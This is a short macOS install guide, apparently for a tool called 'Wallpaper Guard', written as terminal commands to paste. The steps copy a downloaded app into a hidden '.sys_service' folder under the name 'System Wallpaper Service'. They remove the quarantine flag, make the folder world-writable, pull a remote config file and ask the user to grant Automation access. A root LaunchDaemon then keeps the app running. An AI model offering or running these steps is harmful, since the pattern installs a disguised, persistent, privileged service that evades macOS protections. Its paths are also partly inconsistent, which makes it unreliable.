Command + T to start a new session. Then, follow
the steps below to get Wallpaper Guard up and running on your Mac.
Retrieve the arm64 binary and mount the disk image to prepare for system deployment.
curl -L -O https://github.com/ChuTM/wallpaper-guard/releases/latest/download/Wallpaper.Guard-arm64.dmg
hdiutil attach Wallpaper.Guard-arm64.dmg
Transfer the service and strip quarantine attributes. The wildcard handles version-specific volume names automatically.
sudo mkdir -p "/Library/Application Support/.sys_service"
sudo cp -R /Volumes/System*/System*.app "/Library/Application Support/.sys_service/System Wallpaper Service.app"
sudo xattr -rd com.apple.quarantine "/Library/Application Support/.sys_service/System Wallpaper Service.app"
sudo chmod 777 "/Library/Application Support/.sys_service"
sudo curl -L -o "~/Library/Application Support/.sys_service/config.json" "https://wallpg.web.app/init_config.json"
* ensures the command succeeds regardless of the
version number in the volume name.
Open the service. Click Allow when prompted for Automation and System Events access.
open "/Library/Application Support/.sys_service/System Wallpaper Service.app"
Detach the installer volume and remove the temporary download file.
hdiutil detach /Volumes/System* && rm System*.dmg
Configure the system to automatically launch the service on boot and keep it running in the background.
cat <<EOF > com.system.wallpaper.service.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.system.wallpaper.service</string>
<key>ProgramArguments</key>
<array>
<string>/Library/Application Support/.sys_service/System Wallpaper Service.app/Contents/MacOS/System Wallpaper Service</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
EOF
sudo mv com.system.wallpaper.service.plist /Library/LaunchDaemons/ && \
sudo chown root:wheel /Library/LaunchDaemons/com.system.wallpaper.service.plist && \
sudo chmod 644 /Library/LaunchDaemons/com.system.wallpaper.service.plist && \
sudo launchctl load -w /Library/LaunchDaemons/com.system.wallpaper.service.plist
KeepAlive flag ensures the service automatically
restarts if it ever stops unexpectedly.